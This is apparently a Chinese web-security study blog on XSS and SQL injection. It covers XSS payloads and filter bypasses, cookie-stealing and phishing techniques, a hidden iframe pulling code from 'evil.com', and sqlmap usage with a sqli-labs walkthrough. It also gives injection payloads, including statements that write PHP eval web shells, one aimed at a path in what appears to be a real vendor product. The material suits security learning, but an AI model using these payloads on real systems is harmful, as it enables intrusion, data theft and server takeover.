分类 web安全 下的文章

测试技巧

2021XSS语句大全

一般情况下,XSS攻击是通过HTML注入完成的,配合着客户端的HTML源文件来发掘XSS

js伪协议:他声明url的实体是js代码,由js引擎来执行

反射型

例如http:www.abc.com/x1/index.php?a_value=,在提交表单处进行xss测试"><img src=1 onerror=alert(1)/>,合并后查看源码变成<input type="text" value=""><img sr=1 onerror=alert(1)/>">,可以看到我们插入的代码把前面的闭合掉之后后面插入了我们的私活

存储型

在类似留言板的地方放入如<img src=x onerror=alert(1)/>,与反射型不同的是,这些代码是会被存储在服务器里的,后面看到的时候也会生效

DOM

在有类似我在第一篇里面那种点击替换图片的代码的地方,可以考虑进行XSS测试

流程

  1. 测试闭包,随便输点什么东西,看源码找闭包,一般是">或者</textarea>之类的
  2. 可以输入一些能够触发XSS的敏感字符,如<>'"&#之类的,或者直接输入常用测试语句,如
<script>alert(/1/)</script>
<img src=x onerror=alert(1)>
<a href=javascript:alert(1)>
<svg onload=alert(1)>
"><script >alert(document.cookie)</script>
<div style="width:expression(alert(1));">

过滤绕过

(部分详细内容可以参考第一篇里面的技巧)

1.script等关键字过滤:

1. 复写``<scri<script>pt>``
2. 大小写混写
3. 使用全角字符(expression)
4. 使用注释/**/来混淆
5. 利用``\``和\0来进行混淆``@\0im\port'\0ja\vascr\000000ipt:alert("xixi")';``(CSS样式)
6. 空格、换行、制表符等等
7. ASCII码形式的换行符等等

2.<>标签过滤:

1.用标签属性、事件等触发``"onfocus="alert(xss)``
2.如果是转义,且为GBK编码,则考虑宽字节%bf

3.编码

js:
    1. 三位八进制,不够补0:\145
    2. 二位十六进制:\x65
    3. 四位十六进制:\u0065
    4. C类型的特殊转义字符``\n``

HTML:
1.  命名实体,如``<为&lt;``,<svg>能够翻译实体``<svg><script>alert&#40;1&#41;</script>``
2.  字符编码:格式为&#数值的十进制、十六进制ASCII、unicode编码

URL:
    1. 两次URL全编码

4.括号过滤

1. 用反引号代替括号

5.字数限制

1. 分段
2. 用bp抓包修改


全局变量,在代码审计的时候可以作为主要对象
avatar

Cookie是由服务器提供的存储在客户端的数据,用于识别用户身份和保存会话状态,由于HTTP的无连接性,所以采用这一种方法来保存会话

Cookie分为两种,一种是session cookie,这是临时的,保存在内存里面,一但关闭浏览器会话就结束了,另外一种是存放在内存里,属于永久型cookie

常见Cookie属性

name:名称
value:值
domain:此cookie的域名
path:访问cookie的页面路径
expires/Max-Age:超时时间
Size:大小
http/httponly:只能通过http请求头来带有cookie信息,而不腻通过document.cookie来访问cookie
secure:只能通过https来传递此条cookie

创建cookie的语句<?PHP setcookie(name,value,expire,path,domain,secure) ?>

通过javascript来读取document.cookie可以获得cookie信息

获取cookie的脚本示例
avatar
avatar

在自己的服务器上搭建好获取cookie的文件,然后用src属性构造连接骗人点击后获取对方的cookie

钓鱼攻击

攻击者会构造钓鱼页面,一般是登录表单部分,然后修改登录表单的地址,比如说远程服务器上的接受信息的页面为t.php,就把<from>标签里的action值改成<form method="post" action="http://www.xxxx.com/t.php">,然后在那个服务器的t.php里面写上用于接收和记录账号和密码信息的程序文件,如下图
avatar
接收到username\password等信息后,利用header函数跳转到正常的网站

方法二:构造钓鱼链接http://www.目标.com/index.php?s=<script src="http://www.xxx.com/xx.js></script>"这个xx.js里面构造一个iframe框架覆盖目标页面,在加载远程域伪造的钓鱼页面
avatar

网页挂马

<iframe src=http://www.xxx.com/xx.html width=0 height=0></iframe>篡改网页后,由于iframe的高度和宽度都设置为0,所以用户不会注意到<script>document.write("<iframe src=http://www.evil.com/xxx.html width=0 heigth=0></iframe>")</script>

其他也可以用js来获取用户的粘贴板内容、ip地址等等

XSS(Cross-Site Scripting,XSS)类型

反射型:又叫非持久型,攻击者通过右键等方式将XSS代码发给目标,当目标访问连接的时候,服务器接收并处理,浏览器解析这段带有XSS代码,例如http://www.test.com/haha.php?name="><script>alert("xixi")</script>

存储型:攻击脚本通过留言板等地方一起被存储在服务器里,当其他用户浏览了这个被注入恶意脚本的帖子的时候,恶意代码就会被执行

DOM型XSS:一种基于DOM文档对象模型的漏洞,本质上是一种特殊类型的反射型XSS,浏览器为页面创建一个顶级的document object文档对象,接着在生成各个子文档对象,通过JS脚本对文档对象进行编辑来改变页面的元素,攻击者构造一个含有XSS代码的URL,当浏览器处理这个响应的时候,DOM对象就会处理XSS代码

XSS基础

2021依旧有效的XSS payload

PHP中使用$_REQUEST,所有用户输入的变量数组,包括$_GET$_POST$_COOKIE,4.3版本后不包括$_FILES

例如<?PHP echo $_REQUEST[name];?>这个代码代表从前面的表单当中获取属性为"name"的提交值

攻击脚本的本质

基于<>的攻击:
我们可以任意的使用<>等引入标记,以此来操纵一个HTML标签,然后通过<script>标签来插入js或vs编写的恶意脚本代码,如<script>alert('xixi')</script>

基于HTML标签属性
如果不能构造HTML标记,我们仍然可以通过javascript:code伪协议这一种方式来运行我们的js代码,如<img src="javascript:alert(/xixi/);">,要注意的是不是所有的浏览器都能够支持伪协议。如果可行的话,我们可以使用href\lowser\bgsound\background\value\action\dynsrc这些属性来测试XSS

空格
js语句常以分号结尾,如果js引擎认为一个语句是完整的且这一行的结尾有换行符,那么可以省略分号,如果一行中有多个语句,则每个语句必须以分号来结束,除了这两种方式以外,额外的空白字符都不会影响代码的执行,我们可以使用这种方式来拆分关键字以绕过waf,例如<img src="javas cript:alert('haha');" width=100>这个句子虽然当中有两个空格,但是依旧可以被执行

eval:js中的eval()可以计算字符串并执行内部的js代码,如<script>eval("alert('xxx')");<script>

ASCII
HTML属性值本身支持ASCII码格式,我们可以参照ASCII码表,把字符转化为对应的码以绕过,如t变成t,同理,我们还可以利用ASCII码来插入空白自如,如 TAB, 换行符, 回车符可以被插入代码中的任何地方,此外,\&#02等字符可以插到js或者vs的头部,如<img src="&#01;javascri&#09pt:alert(xixi)">

示例如下
avatar

ASCII表
avatar

基于事件的攻击
上面的几种方式都是想办法直接来执行我们的js代码,此外,我们可以靠事件来触发我们的代码,例如<input type="button" value="点这" onclick="alert('xixi')"/>当我们点击这个按钮的时候,就会触发我们的脚本

可使用的事件列表
onResume
onReverse
onRowInserted
onSeek
onSynchRestored
onTimeError
onTarckChange
onURLFlip
onRepeat
onMediaComplete
onMediaError
onPause
onProgress
onOutOFSync
oncontrolselect
onlayoutcomplete
onafterprint
onbeforeprint
ondatavailable
ondatasetchanged
ondatasetcomplete
onerrorupdate
onrowenter
onrrowexit
onrowsdelete
onrowsinserted
onbounce
onfinish
onstop
onresizeend

利用CSS跨站
avatar
CSS样式表在不同浏览器甚至是不同版本之间可能不通用。脚本通常嵌入到style标签或者属性里面,利用expression来执行js代码,如<img style="xss:expression(alert(/xss/));">,又或者使用样式表里面的url属性来执行xss<img style="background-image:url(javascript:alert('xss'))">

另外,我们可以把CSS脚本写在文件里面,用<link>标签来引用,如下例
avatar
另外还可以使用@import来引入文件,同时,@import能够直接执行javascript代码,如

<style>
@import 'javascript:alert("XSS");
</style>

混淆
混写大小写依旧可以执行代码,同时,属性可以使用双引号也可以使用单引号也可以都不使用,一样能被执行,如<ImG sRc=jaVascRipt:alert(1);>

如果空格被过滤,可以考虑使用/来代替空格<img/scr='javascript:alert(1);'>

可以使用全角字符来绕过avatar

/**/注释符会被浏览器忽略,所以可以使用这个来注释字符,或者插入混淆字符绕过过滤,如<div style="wid/****/th:expre/*heihei*/ssion(alert('xss'));">

面对黑名单式过滤,可以考虑使用注释字符来干扰
avatar

或者,样式标签中的\和结束符\0也会被无视,如@\0im\port'\0ja\vascr\000000ipt:alert("xixi")';或者也可以把关键字进行转码
avatar

利用HTML注释存在的问题执行js

<!--<img scr="--><img scr=x onerror=alert(1)//">
<comment><img scr="</comment><img src=x onerror=alert(1)//">

将HTML标签中的某些属性值转码成ASCII码,可以转成十进制(&#,后面的;可加可不加)或者十六进制(&#x),另外,上面提到的eval()函数,也可以把他内部的js代码转码成为十六进制码(格式为\n),或者配合使用String.fromCharCode()函数使用十进制码<img src="javascript:eval(String.fromCharCode(97,108,101......))">,另外,样式表也可以使用\连接的十六进制码,js则支持unicode,escapes,十六进制,八进制等等,另外对IE有script encode

拆分法:在未进行过滤但是有字符限制的地方,可以考虑拆分法
avatar
avatar

防御

XSS Filter:跨站脚本过滤器

XSS Filter一般基于黑白名单的安全过滤策略,如下图一般
avatar

preg_replace是一个支持正则的替换函数,用法为ixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )搜索subject中匹配pattern的部分,再用replacement来替代

过滤除了关键字,还得过滤掉&#\等特殊字符

css中的expression\javascript\import等关键字

手动下载最新版本git clone https://github.com/sqlmapproject/sqlmap.git

或者直接spt-get install sqlmap

sqlmap目录

avatar

extra:额外功能,如发出声响beep,代码加密cloak,二进制转换./dbgtool

plugins:插件库

shell:注入成功时使用的4种shell

thirdarty:

udf:UDF提权使用的dll文件,包含用户自己定义的攻击载荷

xml:包含多种数据库的注入检测载荷、旗标信息及其他信息

lib:包含sqlmap的多种连接库,如5种注入类型请求的参数、提权操作等

procs:包含了MSSQLServer\MySQL\Oracle\PostgreSQL的触发程序,存放了一些SQL语句,主要涉及DNS带外传输数据的一些数据库命令

tamper:绕过脚本

txt:字典

waf:常见防火墙特征

功能

sqlmap支持五种注入:布尔、时间、联合、报错、堆叠

sqlmap.py

-h:帮助
--version:版本
-v n:信息级别,从0-6
0:只显示python错误及严重信息
1:同时显示基本信息和警告信息
2:同时显示debug信息
3:显示注入的payload*****
4:显示HTTP请求
5:显示HTTP响应头
6:显示HTTP响应界面

目标

-d 数据库名:直接连接数据库
-u URL.--url=URL:注入点目标URL
-i logfile:从bp或webscare代理日志文件中分析目标
-x SITEMAPURL:从远程网站地图文件来解析目标
-m BULKFILE:将目标地址保存在文件中,一个行为一个URL地址进行批量检测
-r requestfile:从文件加载HTTP请求,请求HTTPS需要配合--foree-ssl参数来使用,后者可以在Host头后面加上443
-g googledork:从谷歌加载结果目标URL

请求

--method=METHOD:强制使用给定的HTTP方法
--data=data 通过post发送参数数据,会去检测post的参数
--data="id=1" -f -banner --dbs --users
--param-del=para:当get或post的数据需要使用其他字符分割测试参数时需要使用此参数
--cookie=cookie:HTTP cookie header值
--cookie-del=coo:用来分隔cookie的字符串值


-b,--banner返回数据库的版本号

-f --fingerprint执行广泛的DBMS版本指纹检查

--level=level:执行测试的等级1-5
--risk=risk:执行测试的风险3********


--technique=:SQL注入技术测试(默认为beust)
--time-sec=TIMESEC:DBMS响应的延迟时间
--union-cols=:定列范围用于测试UNION查询注入
--union-char=:暴力猜测列的字符数



枚举
-a,--all:获取所有信息
-b,--banner:获取数据库管理系统的版本
--current-user: 获取数据库管理系统当前用户。
--current-db:获取数据库管理系统当前数据库。
--hostname:获取数据库服务器的主机名称。
--is-dba:检测DBMS当前用户是否为DBA。
--users:枚举数据库管理系统用户。
--passwords: 枚举数据库管理系统用户密码哈希值。
-privilges:枚举数据库管理系统用户的权限。
--roles: 枚举数据库管理系统用户的角色。
--dbs:枚举数据库管理系统数据库。
--tables:枚举DBMS数据库中的表。
--columns:枚举DBMS数据库表列。
--schema:枚举数据库架构。
--count:
检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数: sqlmap.py -u url -count -D testdb。
-D BD:要进行枚举的指定数据库名
-T TBL:表枚举
-C COL:列枚举
-U USER:用来进行枚举的数据库用户
--where=DUMPWHERE:使用where条件
--sql-query=QUERY:要执行的SQL语句
--sql-shell:提示交互式SQL的shell
--sql-file=SQLFILE:要执行的SQL文件

暴力

--common-tables:检查存在共同表
--common-columns:检查存在共同列

使用

常用参数

--dbs数据库
--current-db当前数据库
--current-user数据库使用账户
--users列出sqlserver所有用户
--password数据库账户与密码
-v 3信息级别
--risk 1-4,1默认,2增加事件,3增加ro或者其他sql注入语句,4会修改数据库内容
--level 5
-D database 指定数据库
--tables指定库名列出所有表
-r 从文件中获取http包进行注入
-u 目标
-T指定的一张表
--columns获取列信息
-C指定列
--dump获取内容
--technique B|E|U|S|T 布尔、报错、联合、堆叠、时间注入类型
--batch一直使用默认执行命令
--thread 数字  一共用多少线程工作

常用绕过脚本

base64encode.py  base64编码
charencode.py    一次url编码
chardoubleencode.py     两次url编码
space2mssqlblank.py  空格替换脚本
space2mysqldash.py  空格替换
space2randomblank.py    空格替换,随即从空白字符集中选择来替代空白字符
unmagicquotes.py    宽字节

自动检测
sqlmap.py -u http:xxxxxx?id=1 --batch

直连数据库

sqlmap.py -d "mysql://admin:[email protected]:3306/testdb" -f --banner --dbs --users

标准流程

sqlmap -u "xxx" --dbs获取数据库
sqlmap -u "" -D table_name --tables 表名
-u "" -D xx -T xx --columns列名
-u "" -D xx -T xx -C xx,xx --dump获取内容
-u "" -D xx -T xx -C xx,xx --start 1 --stop 10--dump获取1-10行内容

sqlmap -u "" --technique E --dbs --batch指定为报错注入

sqlmap -u "" --data "uname=123*&passwd=888&submit=submit" --current-db --batch --threads 10 --technique E从抓到的数据包里面用*指定位置去打

把抓到的数据包放进文件,打标
sqlmap -r "/root/a.txt" --dbs --threads 10 --batch --technique BETS

指定http头注入
sqlmap -u "" --user-agent="xxxxxxxx*" -- level 4 --dbs --.......
sqlmap -u "http://192.168.226.134:30000/Less-1/?id=1" --batch -D security --tables

使用sqli-labs练习

准备工作是真的曲折...记录一下,以备以后再用
php选用5.x版本,mysql使用5.7,不然连接函数一直报错搭不起来,用了之后发现不管怎么注入都没反应,查了下要把php.ini文件里的magic_quotes_gpc改为off。kalissh连接参考https://www.cnblogs.com/winyh/p/9599369.html,以上全部搞完才能正常运行

下面没有特殊说明跳过的题目payload都与上面相同

做到20题的时候发现没有cookie.....在网上搜了下,要修改php.ini 文件中 output_buffering 设为 on,然后重启 appache

第一关,没什么好说的,中规中矩

sqlmap -u "http://192.168.226.134:30000/Less-1/?id=1" --batch --dbs

sqlmap -u "http://192.168.226.134:30000/Less-1/?id=1" --batch -D security --tables

sqlmap -u "http://192.168.226.134:30000/Less-1/?id=1" --batch -D security -T users --columns

sqlmap -u "http://192.168.226.134:30000/Less-1/?id=1" --batch -D security -T users -C id,password --dump -v 3此处使用了参数v,可以看到sqlmap注入时的payload

avatar
avatar
avatar

2-9同上,没什么好说的

10sqlmap -u "http://192.168.226.134:30000/Less-10/?id=1" --batch --dbs -v 3 --level 5

11注入点在登入框处sqlmap -u "http://192.168.226.134:30000/Less-11/" --data "uname=1&passwd=&submit=Submit" --batch --dbs
avatar

15sqlmap -u "http://192.168.226.134:30000/Less-15/" --data "uname=1*&passwd=&submit=Submit" --batch --dbs --level 5

17这里要注意一下网站会在检测用户名存在不存在之后才会继续,所以要用一个已经存在的用户名,注入点在密码sqlmap -u "http://192.168.226.134:30000/Less-17/" --data "uname=admin&passwd=1*&submit=Submit" --batch --dbs --level 5此处同时也是一个密码重置漏洞!

19注入点在referer头,这回换了种方式,写入文本后再打标进行注入sqlmap -r "./1.txt" --batch --dbs
avatar

20注入点在cookie,一样的
avatar

21抓包后发现cookie用了base64加密,使用tamper里面的相应的文件进行绕过sqlmap -r "./1.txt" --batch --dbs --tamper base64encode.py
avatar

23sqlmap -u "http://192.168.226.134:30000/Less-23/?id=1" --batch --dbs

做到25之后靶场又出问题了...痛苦

跳到29sqlmap -u "http://192.168.226.134:30000/Less-29/?id=1" --batch --dbs --tamper charencode.py -v 3这个绕过方式是url编码

30莫名又回去了sqlmap -u "http://192.168.226.134:30000/Less-30/?id=1" --batch --dbs -v 3 --level 5

33宽字节sqlmap -u "http://192.168.226.134:30000/Less-33/?id=2*" --batch --dbs -v 3 --tamper unmagicquotes.py

34宽字节sqlmap -u "http://192.168.226.134:30000/Less-34/?id=1" --data "uname=admin&&passwd=admin&submit=Submit" --dbs --batch -v 3 --tamper unmagicquotes.py

35返璞归真sqlmap -u "http://192.168.226.134:30000/Less-35/?id=1" --dbs -v3 --batch

36宽字节sqlmap -u "http://192.168.226.134:30000/Less-36/?id=1" --dbs -v3 --batch --tamper unmagicquotes.py

37post的宽字节,嘿嘿sqlmap -u "http://192.168.226.134:30000/Less-37/" --data "uname=admin*&passwd=admin&submit=Submit" --dbs -v 3 --batch --tamper unmagicquotes.py

38-40sqlmap -u "http://192.168.226.134:30000/Less-38/?id=1" --dbs -v3 --batch

基础知识

  1. mysql5.0以上数据库中存有information_schema这个默认数据库
    avatar

avatar
avatar

其中需要特别记住三个表名:SCHEMATA\TABLES\COLUMNS

SCHEMATA:该用户创建的所有数据库的库名,其中记录库名的字段为SCHEMA_NAME

TABLES:存放该用户创建的所有数据库的库名和表名,记录库名的字段为TABLE_SCHEMA,记录表名的字段为TABLE_NAME

COLUMNS:存储所有数据库名,表名,字段名,库名表名字段名的字段分别为:TABLE_SCHEMA\TABLE_NAME\COLUMN_NAME
avatar

常用三个函数: database()显示当前数据库名,version()显示当前数据库版本,user()显示当前用户名

注意点

sql注入可能可以通过于get\post,各种http字段中中
有关通过cookie进行sql注入的文章

修改密码set password for root@localhost = password('1');

永真式' or '1'='1具体视闭包而定

常用流程语句解析

判断闭包

select * from db1.stu_info where sno=1;
select * from db1.stu_info where sno=(1);
select * from db1.stu_info where sno=((1));
select * from db1.stu_info where sno='1';
select * from db1.stu_info where sno=('1');
select * from db1.stu_info where sno=(('1'));
select * from db1.stu_info where sno="1";
select * from db1.stu_info where sno=("1");
select * from db1.stu_info where sno=(("1"));
以上九种都是合法的闭包方式

很多时候我们需要考虑闭包的问题,上面我列出了九种闭包方式,当我们破坏了前面的闭包之后,后面会遗留半个闭包,这时候需要把他注释掉,sql中的注释方式有三种-- 或#或/*,但是由于#在url中有特殊作用 ,所以不能直接用来作为注释(get方式),使用-- 时,后面有个空格在url中会被忽略,所以一般使用--++号在url中是空格,或者进行url编码--%20或者%23,前者是把空格进行编码,后者是对#进行编码。--必须后面跟空格,#可跟可不跟。#也可用于post

limit 0,1

group_concat()

如果or和and被屏蔽了,则可以用||和&&来替代

可用于代替空格的东西

%09水平tab
%0a新建一行
%0c新建一页
%0dreturn功能
%0b垂直tab键
%a0空格键
%00截断,后面不执行
%a0空格

如果--被屏蔽,可以考虑使用or '1'='1之类的进行闭包

union注入

  1. select * from table_name where xx=x and ...select from 是sql语句中的最基础的查询语句,where可以限定查询的内容的条件,如where id=1可以查出表中id为1的元组,当表中没有满足where语句的元组时,返回内容为空,and表示并列条件取并集,我们使用and 1=1and 1=2来判断该处是否存在注入点,1=1是一个永真条件,而1=2是一个错误条件,如果两者注入后返回的结果不同,则说明条件语句被执行了,则此处一定存在注入点
  2. order by该语句原意为以...为基准进行排序,除了使用列名以外,还可以使用数字来代替对应的列名,所以我们用这个子句进行判断表的列数,如果order by n被成功执行了,则说明该语句至少有n列,如果报错,则说明列数小于n
    avatar
  3. union该语句为集合运算,将前后的语句的执行结果取交集一并列出,如select xxxxx union select nnnnn会将两次select选出的结果放在一个表里。需要注意的是union前后两者列出结果的列数应该相同,否则会报错,所以需要先判断列数再使用union,当我们判断列数之后使用union select 1,2...n来判断服务器是否会执行union指令,如果执行了看他会返回那几列的内容,然后用database()等函数进行替换相应的列来获取我们想要的信息,如果执行了但是没有显示出我们列对应的数字,那么有可能是因为设置为只显示一行而导致后面的内容实现不出来,则考虑将前面的参数如id等等,值改成负数或者其他数据库中不太可能存在的数字再执行,这样由于前面select执行语句最后的显示结果为空,则显示出来的内容就可能是union之后的select语句
    avatar
  4. 通过上一步获取数据库名后,从information_schema这个数据库中获取该数据库的详细信息,select table_name from information_schema.tables where table_schema='数据库名' limit 0,1用这个语句来替换上面union中的数字,此处的意思为从i_s.t这个表中查询table_schema等于我们需要的那个数据库名的元组当中table_name这一列,limit 0,1意思是从第0行开始起显示,只显示一行,可以通过修改后面那两个数字来改变查询的行数,该方法适用于mysql数据库。通过这一步我们知道了该数据库中所有的表名
  5. select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1用该语句替换上面union中的数字,此处的意思是从i_s.c这个表中查询相应库名和表名对应的表的列名,亦可以使用union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+,即使用group_contcat()将查询结果打包输出
  6. select 列名 from 数据库名.表名 limit 0,1利用上面得到的数据库名、表名、列名来获取我们所需要的信息

布尔注入

当发现网站只返回对错而不返回具体数据库的内容的时候,我们可以考虑使用布尔型注入

  1. 闭包and length(database())>=1--+使用这个语句,修改length猜的长度来判断数据库名的长度
  2. 闭包 substr(database(),1,1)='t'--+截字判断数据库名中第n个字符,把符号换成ascii编码可以考虑用bp爆破ascii(substr(database(),1,1)=115)--+

avatar

  1. and substr((select table_name from information_schema.tables where table_schema='xxx' limit0,1),1,1)='e'用相同的方式,把测试代码贴入相同的地方进行尝试,以此查出表名、列名

报错注入

如果发现在使用错误的sql语句(如错误的闭包)时,网站把错误信息都给返回回来了,那么可以考虑报错注入

法一

爆出库名
index.php?id=2' AND (select 1 from(select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b) --+

爆出表名
index.php?id=2' AND (select 1 from(select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b) --+

爆出内容
?id=2' AND (select 1 from(select count(*),concat(0x3a,0x3a,(select username from users  limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b) --+

select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
结果是有可能报错的,报错的时候会出现数据库的库名,因为group by按照a排序,a里面只会出现两种结果0,1,而且随机,所以总有一天会出现两个0或者两个1,此时报错,报错信息包含数据库库名

前面的select 1 from xxx,是使这个sql语句永恒为真,可以执行

法二

and updatexml(1,concat(0x7e,(select user())0x7e),1)--+

法三

 and extractvalue(null,concat(0x7e,(select @@datadir),0x7e))

法四

select exp(~(select*from(select user())a))

时间注入

类似布尔

if (length(database())>1,sleep(5),1)

if(sustr(database(),1,1)='s'.sleep(5),1)

堆叠注入

利用分号执行多个语句

;select if(substr(user(),1,1)='r',sleep(5),1)%23

二次注入攻击

网站可能会在注册的时候对字符进行转义,导致无法正常使用注入语句,但是存入数据库的还是处理前的数据,并且在修改密码、查询这部分缺乏处理,取出的是带有特殊字符的恶意字符串

在注册页注册admin' -- -
修改admin' -- -
登录admin,使用刚才修改的密码,发现登录成功
注册test'
在查询页查test'order by n%23,后面就和正常union注入一样

写入木马/api/dp/rptsvcsyncpoint?ccid=1';create table O(T TEXT);insert into O(T) values('<?php @eval($_POST[1]);?>');copy O(T) to 'C:\Program Files (x86)\360\skylar6\www\1.php';drop table O;--

宽字节注入

如果数据库的编码为GBK,则可以使用这个来逃逸转义,在数据库中,先加一个%df,再加单引号,%df和反斜杠的编码%5c连在一起时会被当成一个繁体字?id=200%df%27union select 1,2,3 --+

cookie注入

如果发现cookie中带有参数,可以考虑通过cookie注入

XFF注入

可以通过X-Forwarded-for来进行sql注入

X-Forwarded-for:127.0.0.1' and 1=1#

绕过方式

  1. 大小写混写绕过
  2. 重复拼写绕过,如发现and被过滤,则可以考虑使用anandd,去掉一个还有一个
  3. 编码绕过,使用URL全编码对and等等关键字进行两次编码
  4. 内联注释绕过代替空格/*!code*/,升级版-1/*%!"/*/and/*%!"/*/1=1
  5. 用别的结果相同的字符来替代
  6. 利用+来实现危险字符拆分,如or可以被拆分成'o'+'r'
  7. 利用系统注释符来截断后面
  8. 利用like、in来代替=
  9. 宽字符绕过非法字符过滤(GB2312\GBK\GB18030\BIG5\SHIFT_JSI等双字节编码)
  10. 利用between\greatest替代盲注中的尖括号
  11. 使用from for来代替逗号,如ord(mid(user(),1,1))>114,变成substr(user() from 1 for 1)

利用into outfile和load_file()

select * from test1 into outfile "/tmp/abc.txt"; 把查询结果导出到文件
select * from test1 into outfile "c:\xxx.txt";

select load_file("/etc/passwd"); 加载某个文件

select load_file("/etc/passwd") into outfile "/root/123.txt"; 读取文件之后输出

apache中间件:
/var/www/html/
/var/www/

nginx中间件:
/home/wwwroot/

d=-2')) union select 1,database(),3 into outfile "/var/www/html/Less-7/z2.txt" --+

id=-2')) union select 1,'<?php @eval($_POST["haha"])?>',3 into outfile "/var/www/html/Less-7/muma.php" --+
在这种情况下,单引号可以包双引号```

mysql版本5.6以上,默认没有into outfile的支持
修改my.ini文件

其他

密码重置

法一:利用永真式
avatar

法二:越权重置
原句:update user set password="" where username='' and password=''

例:注册一个用户,用户名admin' # 密码123,填入后原句为update user set password="123" where username='admin' #' and password=''这样可以越过原密码篡改别人的密码

user-agent\referer等个人信息相关的报头

考虑到这里的值不止一个insert into xx ('a','b','c') vallues ('','',''),这种,不太适宜使用注释符,可以考虑整段替换后使其报错,如把user-agent整段替换成\,在bp里面看返回结果,可以考虑使用永真式之类的进行判断,然后可以考虑使用extractvalue一类进行注入